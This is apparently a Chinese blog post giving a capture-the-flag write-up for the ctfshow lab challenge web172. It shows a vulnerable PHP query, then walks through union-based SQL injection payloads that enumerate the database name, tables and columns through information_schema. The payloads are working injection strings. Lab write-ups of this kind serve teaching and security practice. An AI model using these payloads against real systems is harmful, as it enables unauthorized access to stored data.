web172(select模块无过滤注入2+id列不显示)

查询语句

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
      
返回逻辑

//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }
同上操作,这次在ctfshow_user2中,这次第一列没显示了
 
正常测试还会测试有多少列:使用orderby语句

 可以看到4列的时候报错,我们再减小数字

 接下来,我们查一下数据库名字,这里用union语句来连接查询,并且在前面把id改成-1以达到把查询id回显的数据给置空的目的

-1' union select database(),2 --+

 回显出数据库名字为ctfshow_web,接下来查询表,这里我们用group_concat函数,它可以把相同行的数据都组合起来

-1' union select group_concat(table_name),2 from information_schema.tables where table_schema="ctfshow_web" --+

 得到有两个表,ctfshow_user和ctfshow_user2,直觉flag在第二个表中(后来看到代码都提示第二个了),直接查第二个表的列名

-1' union select group_concat(column_name),1 from information_schema.columns where table_name="ctfshow_user2" --+

 得到有id,username,password三个列名,查password

 

posted @ 2025-04-09 09:14  justdoIT*  阅读(7)  评论(0)    收藏  举报